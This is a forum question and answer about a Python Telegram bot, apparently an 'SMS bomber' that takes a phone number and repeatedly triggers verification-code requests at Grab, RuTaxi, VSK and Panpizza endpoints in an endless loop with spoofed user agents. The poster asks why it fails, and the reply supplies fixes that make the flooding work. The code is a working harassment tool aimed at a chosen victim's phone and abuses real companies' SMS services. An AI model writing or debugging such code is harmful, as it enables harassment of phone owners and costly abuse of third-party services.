S
S
Snowdevil2021-06-13 14:28:43
Python
Snowdevil, 2021-06-13 14:28:43

Telegram bot doesn't send code from website, what's wrong?

Everything works, there are no errors. But the bot does not send a message that the code was not sent. I have already tried to take data from about 20 sites, and everything is the same, I said it was not sent.

import telebot, requests, fake_useragent, time

bot = telebot.TeleBot('token')

user = fake_useragent.UserAgent().random
headers = {'user_agent' : user}

@bot.message_handler(content_types=['text'])
def get_text_messages(message):
  if message.text == '/start':
    user = fake_useragent.UserAgent().random
    headers = {'user_agent' : user}
    bot.send_message(message.from_user.id, "Введите номер телефона. Пример: 79xxxxxxxxx")
    number = bot.register_next_step_handler(message, bomber)
    
def bomber(message):
        while True:
                user = fake_useragent.UserAgent().random
                headers = {'user_agent' : user}
                try:
                        requests.post('https://p.grabtaxi.com/api/passenger/v2/profiles/register', data={'phoneNumber': number,'countryCode': 'ID','name': 'test','email': '[email protected]','deviceToken': '*'}, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36'})
                        bot.send_message(message.from_user.id, '[+] Grab отправлено!')
                except:
                        bot.send_message(message.from_user.id, '[-] Grab не отправлено!')

                

                try:
                        requests.post('https://moscow.rutaxi.ru/ajax_keycode.html', data={'l': number}).json()["res"]
                        bot.send_message(message.from_user.id, '[+] RuTaxi отправлено!')
                except:
                        bot.send_message(message.from_user.id, '[-] RuTaxi не отправлено!')

                try:
                        response = requests.post('https://shop.vsk.ru/ajax/auth/postSms/', headers = headers, data = {'phone' : number})
                        bot.send_message(message.from_user.id, '[+] VSK Отправлено')
                except:
                        bot.send_message(message.from_user.id, '[-] VSK Не отправлено')

                try:
                        response = requests.post('https://www.panpizza.ru/index.php?route=account/customer/sendSMSCode', headers = headers, data = {'telephone_t' : '8' + number[1:]})
                        bot.send_message(message.from_user.id, '[+] PANPIZZA Отправлено')
                except:
                       bot.send_message(message.from_user.id, '[-] PANPIZZA Не отправлено')

Answer the question

In order to leave comments, you need to log in

1 answer(s)
J
jerwright, 2021-06-13
@Snowdevil

You are most likely using the wrong bot.register_next_step_handler. You bind it to the sent command, but you need it to a message asking for a number:

msg = bot.send_message(message.from_user.id, "Введите номер телефона. Пример: 79xxxxxxxxx")
number = bot.register_next_step_handler(msg, bomber)

You also need to add the number variable to the function, since you are using it. This will be the text of the user's message (the number you ask the user for):
def bomber(message):
  while True:
    number = message.text

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question